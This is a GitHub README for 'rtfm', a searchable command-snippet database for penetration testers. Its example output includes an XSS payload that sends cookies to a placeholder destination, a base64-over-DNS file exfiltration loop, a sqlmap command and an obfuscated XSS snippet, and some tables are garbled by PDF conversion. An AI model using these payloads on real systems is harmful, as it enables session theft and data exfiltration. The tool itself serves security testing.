

[Features](#)[Business](#)[Explore](#)[Marketplace](#)[Pricing](#)[This repository](#)[Sign in](#) or [Sign up](#)[leostat](#) / [rtfm](#)[Watch](#)

30

[★ Star](#)

478

[Fork](#)

36

[Code](#)[Issues](#) 1[Pull requests](#) 1[Projects](#) 0[Insights](#)

## Join GitHub today

GitHub is home to over 20 million developers working together to host and review code, manage projects, and build software together.

[Sign up](#)[Dismiss](#)

A database of common, interesting or useful commands, in one handy referable form <https://necurity.co.uk/osprog/2017-02...>

[82 commits](#)[2 branches](#)[0 releases](#)[4 contributors](#)[GPL-3.0](#)Branch: [master](#) ▾[New pull request](#)[Find file](#)[Clone or download](#) ▾[leostat](#) Merge pull request [#81](#) from leostat/add-license-1 ...

Latest commit 95aa66e on Sep 3, 2017

<a href="#">deb</a>	Added checking for updates and errata, probably need to clean up the...	11 months ago
<a href="#">debian</a>	Added checking for updates and errata, probably need to clean up the...	11 months ago

📁 <a href="#">updates</a>	Added more lines to the DB, fixed some typos in older commits	11 months ago
📄 <a href="#">.gitignore</a>	Create .gitignore to ignore snips.db	11 months ago
📄 <a href="#">LICENSE</a>	Create LICENSE	8 months ago
📄 <a href="#">README.md</a>	Added roadmap to 1.0	11 months ago
📄 <a href="#">clean.sql</a>	Added Author field	a year ago
📄 <a href="#">rtfm.py</a>	Moved to creating the DB as part of program initiation	8 months ago

## 📖 README.md

# What is it?

RTFM is a great and useful book, BUT a bit pointless when you have to transcribe it, so this little program will aim to be the spiritual successor to it.

I would recommend picking up a copy of the book from Amazon, it is pretty handy to have!

# Quick Start

```
$ chmod +x rtfm.py
$ ./rtfm.py -u
$ ./rtfm.py -c 'rtfm'
```

# Usage

```
$ rtfm.py -h
Usage: rtfm.py [OPTIONS]
```

For when you just cant remember the syntax, you should just RTFM

## Options:

<code>--version</code>	show program's version number and exit
<code>-h, --help</code>	show this help message and exit
<code>--delete=DELETE</code>	Delete specified ID
<code>-t TAG, --tag=TAG</code>	Specify one or more tags to look for (a, b, c)
<code>-c CMD, --cmd=CMD</code>	Specify a command to search (ls)
<code>-R REMARK, --remark=REMARK</code>	Search the comments feilds
<code>-r REFER, --reference=REFER</code>	Search for the reference [reference]
<code>-a AUTHOR, --author=AUTHOR</code>	Search for author
<code>-A DATE, --added-on=DATE</code>	Search by date, useful for when you want to commit back!
<code>-p PRINTER, --print=PRINTER</code>	Print Types : P(retty) p(astable) w(iki) h(tml) d(ump)
<code>-i INSERT, --insert=INSERT</code>	Insert c(ommand)   t(ags)   r(eferances)   (E)verything
<code>-D DUMP, --dump=DUMP</code>	Just Dump infomration about t(ags) c(commands) r(eferances)a(ll)
<code>-d, --debug</code>	Display verbose processing details (default: False)
<code>-u, --update</code>	Check for updates (default: false)
<code>-v</code>	Shows the current version number and the current DB hash and exits

```
Example: rtfm.py -c rtfm -t linux -R help -r git -pP -d
```

Its pretty much a simple search program, nothing to fancy, examples include:

## Searching the DB

Searching the DB is handled through the following switches: t, c, R, r, a and, A:

-c is search for a command. Use this when you know what command you want to look for, but can't quite remember the syntax. For example, if you want to quickly look up the syntax for a common sqlmap command. Useful for jumping straight to collections of common flags or one liners:

```
19:54:root:rtfm: ./rtfm.py -pP -c 'sqlmap'
```

```
+-----+-----+
| Added By @yght | Cmd ID : 162
+-----+-----+
| Command        | /opt/sqlmap/sqlmap.py --exclude-sysdbs --eta --is-dba --current-user --current-db --hos
|                | -r sql1.txt
|                |
| Comment        | SQLmap generic command
| Tags           | sql injection
| Date added     | 2017-06-19
| References     | https://github.com/sqlmapproject/sqlmap/wiki/Usage
+-----+-----+
```

-t is search for a tag, tags are groups of similar commands, for example, XSS payloads. Use this when wanting a more generic search such as around flaws or around generic Windows commands:

```
19:54:root:rtfm: ./rtfm.py -pP -t xss
```

```
+-----+
| Added By Innes | Cmd ID : 35 |
+-----+
| Command        | <script>i = new XMLHttpRequest(); i.open('GET', '[dest]' + document.cookie, true); |
|                | i.send();</script> |
|                | |
| Comment        | Grab the cookie |
| Tags           | web application |
|                | XSS |
|                | cookies |
| Date added     | 2017-06-19 |
| References     | https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet |
|                | https://excess-xss.com/ |
+-----+
<snip>
```

All the Tags known about can be shown through -Dt, Currently a few typos that will be fixed in version 0.9.9:

```
$ rtfm.py -Dt
| linux | | bash | | text manipulation | | cisco | | networking | | loop | | pivoting | | files |
```

The next one you will want is -R, this is for searching for a 'remark' (aka comment, didn't want two c flags), this is to search the comments field and is more along the lines of searching for techniques or generic terms such as 'X11' or 'exfil':

```
+-----+
| Added By Innes | Cmd ID : 384 |
+-----+
| Command        | for line in `base64 -w 62 [file]`; do host $line.[hostname]; done |
|                | |
```

-----+

---

| Tags | linux

[illegible]

Date added	2017-06-19
------------	------------

| Added By: Innos | Cmd ID : 496

```
| Command | for line in $(tshark -r [pcap] -T fields -o data | uniq | grep -v
```

| Tags | linux

In your applications with the Pdfcrowd [HTML to PDF API](#)

```
| | loop
| Date added | 2017-06-19
| References | https://ask.wireshark.org/questions/15374/dump-raw-packet-data-field-only
+-----+-----
```

These next two are aimed for when you wish to commit back, and wouldn't be normally used:

-a is to search by author, for example, show things you have added: `./rtfm.py -a innes`

-A is 'Added on date', this can be one of yyyy-mm-dd, or now/today, most usefully for dumping out commands you have added to commit back to the git!

```
rtfm.py -A now
+++++
Command ID : 469
Command    : b

Comment    : b
Tags       : b
Date Added : 2017-05-14
Added By   : b
References

_____
b
+++++

rtfm.py -A 2017-05-14
+++++
Command ID : 469
Command    : b
```

Comment : b  
Tags : b  
Date Added : 2017-05-14  
Added By : b  
References

---

b  
+++++

All of these search flags can be combined to create a very specific search should you wish, shown here with debugging on:

```
rtfm.py -c rtfm -a innes -t linux -R help -A 2017-05-10 -d
[DEBUG]: Options Set: {'insert': None, 'remark': 'help', 'printer': None, 'dump': None, 'author': 'innes',
[DEBUG]: S: SELECT c.cmdid, c.cmd, c.cmnt, c.date, c.author, group_concat(DISTINCT tc.tag), group_concat(DI
[DEBUG]: W: ['%rtfm%', '%help%', '%innes%', '2017-05-10', '%linux%']
[DEBUG]: This Returned : [(1, 'rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P', 'Helpception, search
+++++
Command ID : 1
Command      : rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P

Comment      : Helpception, search for a command with two tags and a comment
Tags         : linux
Date Added   : 2017-05-10
Added By     : Innes
References

https://github.com/leostat/rtfm
https://necurity.co.uk/osprog/2017-02-27-RTFM-Pythonized/index.html
+++++
```



# Updating your database

RTFM implements a simple text file format to pull in updates to the database, these are shared VIA git, and implement a simple sha check to make sure they have not been corrupt during download. The updates called by the command are 'safe' in the form they won't write over your DB, should you git pull, it probably will overwrite your DB. If you are git cloning, you can move your database to '/etc/rtfm/snips.db' to protect your database file.

```
./rtfm.py -u
[WARNING]: No DB, please run rtfm -u
[OK]: This may appear to hang. Run with debug to get more info
[OK]: Program version information:
[OK]: Your up to date :
0.9.8
  Added A way of fixing typo's in the database
  Added program version checking
  Couple of code fixes
DATE
1
+++++
[OK]: Added Rows :1
[OK]: Added a new tag and a tagmap
[OK]: Added a new Ref and a refmap
[OK]: Added a new Ref and a refmap
[OK]: Added Rows :1
[OK]: Added tags
[OK]: Added a new tag and a tagmap
[OK]: Added a new tag and a tagmap
[OK]: Added a new Ref and a refmap
[OK]: Added a new Ref and a refmap
[OK]: Added Refs
[OK]: Hopefully added lots of new commands
[OK]: Parsed Line of update
```

```
[OK]: Hopefully fixed lots of commands  
[OK]: Update complete
```

The update process also now drags in errata for the local DB allowing me a centralised way of neatly fixing the typos which have filtered into the DB. These are set through <https://raw.githubusercontent.com/leostat/rtfm/master/updates/errata.txt>. This allows things to be 'fixed' without needing to remove anything from the database.

## Inserting and committing back

Like all good cheatsheets, it is possible to add your own content to the database. This is managed through the -i segment of the program. When adding commands you must add them with comments, references, and tags. Else at the moment, they will not be returned from the DB. Minor bug really. This is done by adding all commands, along with their tags and references at once through using -iE, Insert everything:

```
9:41:root:rtfm: ./rtfm.py -iE  
Enter your command      : セ=ア[ミ=ウ],ハ=++ミ+ウ,ヘ=ホ[ミ+ハ],ア[ヘ+=ホ[ウ]+(ホ.ホ+ホ)[ウ]+ネ[ハ]+ヌ+セ+ア[ミ]+ヘ+ヌ+  
Enter you comment       : Script alert(1) using Katakana  
Enter Author            : Innes  
Enter a tag (blank for end) : xss  
Enter a tag (blank for end) : web application  
Enter a tag (blank for end) :  
Enter a reference (blank for end) : https://github.com/aemkei/katakana.js  
Enter a reference (blank for end) :  
[OK]: Added Rows :1  
[OK]: Added tags  
[OK]: Added tags  
[OK]: Added a new Ref and a refmap  
Enter your command      : ^C
```

Cancelled.

After committing to your local database I would be extremely grateful if you would open a pull request so that I am able to continue to add to the database. This is really easy, and done through the use of an output format 'pd' (print dump). The easiest way is by searching for commands added by yourself on today, then opening a git pull request, for the above example:

```
19:43:root:rtfm: ./rtfm.py -a Innes -A now -pd
セ=ア[ミ=ウ],ハ=++ミ+ウ,ヘ=ホ[ミ+ハ],ア[ヘ+=ホ[ウ]+(ホ.ホ+ホ)[ウ]+ネ[ハ]+ヌ+セ+ア[ミ]+ヘ+ヌ+ホ[ウ]+セ][ヘ](ネ[ウ]+ネ[ミ
Script alert(1) using Katakana
Innes
EOC
web application
XSS
EOT
https://github.com/aemkei/katakana.js
EOR
```

The above is the correct format for the updates, so you can add a file and I can either merge into one large update file, or keep it as a separate file!

## Output Formats

There is also a number of output options, such as copy any paste, pretty, wiki and update:

```
23:15:root:snips: ./rtfm.py -c rtfm -p p
```

```
+++++
```

```
RTFM
```

```
helpception
```

```
+++++
```

```
23:15:root:snips: ./rtfm.py -c rtfm -p P
```

```
+-----+
```

```
| Command ID | 0 |
```

```
+-----+
```

```
| Command | RTFM |
```

```
| | |
```

```
| Comment | helpception |
```

```
| Tags | Linux |
```

```
| Date added | 2017-01-30 |
```

```
+-----+
```

```
23:15:root:snips: ./rtfm.py -c rtfm -p w
```

```
= Helpception, search for a command with two tags and a comment =
```

```
rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P
```

```
linux
```

```
https://github.com/leostat/rtfm
```

The update format is to make it easy to open pull requests for new commands!

```
rtfm.py -pd -c rtfm
```

```
rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P
```

```
Helpception, search for a command with two tags and a comment
```

```
Innes
```

```
EOC
```

```
linux
```

```
EOT
https://github.com/leostat/rtfm
https://necurity.co.uk/osprog/2017-02-27-RTFM-Pythonized/index.html
EOR
```

## Older way

Should you wish to add say lots of commands at once, then worry about tags and references later you could do call RTFM with '-i c', using an empty response to stop processing commands:

```
$ rtfm.py -i c
Enter your command      : Your Command
Enter you comment       : Your Comment
Enter Author            : Your Name
Enter your command      : Command Two
Enter you comment       : Comment Two
Enter Author            : Your Name
Enter your command      :
Enter you comment       :
Enter Author            :
[OK]: Added Rows : 2
[OK]: New Top ID : 491 | Number of CMD's Added : 2
```

Next, add the required tags into the inserted with either '-i t', which adds tags to a single command, or '-i ta' which adds tags to all commands missing tags:

```
$ rtfm.py -i t
What CMD are we adding tags too? : 491
Enter a tag (blank for none) : Test
Enter a tag (blank for none) : Second Tag
```

```
Enter a tag (blank for none) :  
[OK]: Added tags  
[OK]: Added a new tag and a tagmap
```

Similarly , you now have to add referances to the commands you have just added, '-i r',

```
$ rtfm.py -i r  
What CmdID are we adding refs to? : 491  
Enter a reference (blank for non) : http://bing.com  
Enter a reference (blank for non) :  
[OK]: Added a new Ref and a refmap
```

There is also a '-i ta' which adds tags to all commands which are missing them, this was used for the DB seeding more than anything!

```
$ rtfm: ./rtfm.py -i ta  
[OK]: This tags everything without tags, mainly for DB init  
[OK]: Enter blank line to commit changes  
[WARNING]: Number left :22  
[OK]: Command ID : 467  
[OK]:          Command      : Test Command  
[OK]:          Comment      : My comment  
[OK]: v These are known tags  
| linux | | bash | | text manipulation | | cisco | | networking | | loop | | pivoting | | files |  
== == ONE TAG A LINE == ==  
  
Enter a tag (blank for non) :
```

## Deleting content

---

This is simple enough, 'tis just using: `rtfm.py --delete 1`

## Debugging

---

Throughout the entire program, I have tried to add 'debug' calls '-d', these show you what the SQL is doing, what is being passed around.

## Version 0.9.9 TODO

---

- Central way of adding, removing , tags
- Python three compat (See push)
- Fix the darn typos in the python program

## Version 1.0.0 TODO

---

- Add a template system
- Add a spawn shell system

## Version 2

---

- Coming way in the future
- Better text support
- nicer updating

- Python 3

## The TODO list

---

- The 'important' functionality is present, but still lots of work to do
- Changes are happening on the DB, which means it may 'break' from time to time, just do a git pull to fix

## Fixes:

---

- Probably should use prepared statements: local so don't care
- Check for dupe tags
- Central tag updates

## Pipeline:

---

- Template engine(autofill [user] : A user = innes, pass = password, attacker = 1.1.1.1, victim = 2.2.2.2
- Make code more sane and betterize the layout

## Future:

---

- Cool Thing mode
- Fix the typos

## Credits

---



The people that deserve the credits will be in the reference table of the DB. They are the ones doing the work!

# Thanks

---

Thanks in no particular order :) :

```
@VC : Fixing many a bug!  
@Rezkon : Suggesting new features and making the layout more sane  
@David : Being the beta tester and finding all the bugs!  
@Matthew S : Berating me into making the DB so much better and putting up with the n00b db questions  
@ECSC : Allowing me to publish! Go check them out : https://ecsc.co.uk  
@Fabien : 'Just run FSCK in dry run mode' . . . ;D
```

